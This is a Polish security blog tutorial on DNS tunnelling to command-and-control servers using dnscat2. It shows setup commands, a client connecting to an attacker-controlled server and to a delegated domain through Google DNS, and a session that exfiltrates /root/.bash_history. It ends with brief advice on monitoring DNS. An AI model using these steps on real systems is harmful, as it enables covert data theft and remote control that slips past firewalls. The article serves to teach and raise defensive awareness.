N

ie ważne, jak bardzo skręcimy dostęp sieciowy do i z naszych serwerów – to zawsze zezwolimy na ruch DNS, aby móc rozwiązywać nazwy domenowe na adresy IP i na odwrót. Osoba, która dokonała skutecznego ataku na nasze maszyny może wykorzystać tą “lukę” w zaporze ogniowej i potajemnie wyprowadzić dane za pomocą połączeń do C&C, które trudno zablokować. Aby bliżej zrozumieć tunelowanie poleceń i danych za pomocą DNS do serwerów Command and Control spójrzmy na narzędzie autorstwa Rona Bowsesa o nazwie dnscat2.

Technika tego ataku przewiduje, że atakujący posiada własny serwer, na którym nasłuchuje dnscat2 w konfiguracji serwera DNS. Host jest dostępny w publicznej sieci Internet i nasłuchuje na specjalne spreparowane zapytania DNS, które pochodzą od skompromitowanego serwera, na którym został uruchomiony program w konfiguracji klienta. Symulację zaczynamy od instalacji serwera (Linux Ubuntu 16.04.1 LTS):

~# apt install -y ruby-dev git build-essential
~# gem install bundler
~# git clone https://github.com/iagox86/dnscat2.git
~# cd dnscat2/server/
~# bundle install

W pierwszym scenariuszu atakujący znalazł się w środowisku, które umożliwia połączenia wychodzące do dowolnego serwera DNS. W tym przypadku wystarczy uruchomić serwer bez żadnej dodatkowej konfiguracji:

ruby ./dnscat2.rb

Na ekranie powinniśmy otrzymać komunikat wraz z znakiem zachęty interaktywnej powłoki: dnscat2> _

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...

It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=f838d33c75199bb972e19ea5267cfdd5

Of course, you have to figure out  yourself! Clients
will connect directly on UDP port 53.

Jak tylko program będzie aktywny zacznie nasłuchiwać na porcie 53 protokołu UDP (lsof -i :53). Następnie przechodzimy do serwera, który reprezentuje maszynę ofiary przejętą przez atakującego. Jeśli przejętym serwerem jest Windows możemy pobrać zbudowane paczki dla tego systemu ze strony autora. My uruchamiamy klienta również na systemie Linux podając adres IP naszego C&C:

~# ...
~# cd dnscat2/client/
~# ./dnscat --dns=server=192.168.111.2,port=53 --secret=f838d33c75199bb972e19ea5267cfdd5

Jak tylko polecenie zostało wydane serwer DNS zauważył połączenie od nowego klienta:

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

Przechodzimy do obsługi naszego klienta (możemy kontrolować wielu klientów na raz za pomocą różnych “okien”), sprawdzamy z nim łączność i wyprowadzamy z serwera historię poleceń użytkownika root (lub dowolnie wrażliwy plik):

dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (darkstar) 2> ping
Ping!
command (darkstar) 2> Pong!
command (darkstar) 2> download /root/.bash_history .history_from_victim_1
Attempting to download /root/.bash_history to .history_from_victim_1
command (darkstar) 2> Wrote 520 bytes from /root/.bash_history to .history_from_victim_1!

Możemy również wykonywać polecenia (exec) lub wrzucać pliki na serwer klienta (upload). Analiza ruchu pomiędzy ofiarą i serwerem pokazuje komunikację DNS pod postacią normalnych zapytań DNS:

192.168.111.2.53 > 192.168.111.3.53598: [udp sum ok] 15771 q: MX?
dnscat.0cef0134c77c550a42902f000213b29c79
192.168.111.2.53 > 192.168.111.3.53598: [udp sum ok] 19439 q: TXT?
dnscat.2ea80134c75a1eaeb9609d00868e4c41b6
192.168.111.2.53 > 192.168.111.3.53598: [udp sum ok] 40188 q: CNAME?
dnscat.61100134c7bd262c907a39000336e6ccf6

co przy braku wnikliwej analizy może po prostu stanowić zwykły szum komunikacji.

Możemy założyć scenariusz bardziej restrykcyjny od strony sieci ofiary. Pozwala ona tylko na ruch DNS tylko i wyłącznie do zaufanych serwerów DNS. Niestety nawet w tym scenariuszu ruch DNS -> C2 może ominąć taką blokadę. Jak? Wystarczy, że atakujący zarejestruje dowolną domenę i wydeleguje ją na serwer dnscat2 jako autorytatywny dla tej domeny. W ten sposób klient nie będzie już zmuszony do bezpośredniej komunikacji z C&C. Zamiast tego wystarczy, ze będziemy przez zaufane serwery DNS wysyłali zapytanie DNS o domenę, która jest pod kontrolą C&C. Aby serwery dostarczyły odpowiedź naszemu klientowi i tak muszą przesłać wiadomość do naszego Command and Control, gdyż same nie są w stanie odpowiedzieć na pytania o domenę, która nie jest pod ich kontrolą:

./dnscat --dns=domain=candc.nfsec.pl,server=8.8.8.8,port=53 \
--secret=68a46b480852fabe36ad2030cd978d4f

gdzie serwer DNS Google jest tym zaufanym. Tcpdump przechwytuje komunikację:

8.8.8.8.53 > 10.0.2.15.40210: [udp sum ok] 39353 NXDomain q: TXT?
40456e02e618464e5bf979a51b.candc.nfsec.pl. 0/1/0 ns: nfsec.pl. [4m59s] SOA ns1.nfsec.pl. 
nsmaster.nfsec.pl. 2015121100 14400 3600 1209600 300 (233)

Tunelowanie DNS żeruje na fakcie, że bardzo mało osób / firm monitoruje ruch DNS, a szczególnie anomalie w nim występujące. Nie chodzi nawet o ataki ukierunkowane przez człowieka. Bardzo wiele złośliwego oprogramowania również korzysta z tego typu rozwiązań. Zwrócenie uwagi na kilka parametrów zapytań DNS z pewnością pozwoli nam na upewnienie się, że żadne dane nie ciekną nam protokołem UDP lub coraz więcej lokalnych stacji jest zarażana niewykrywalnym wirusem.

Więcej informacji: DNS Tunneling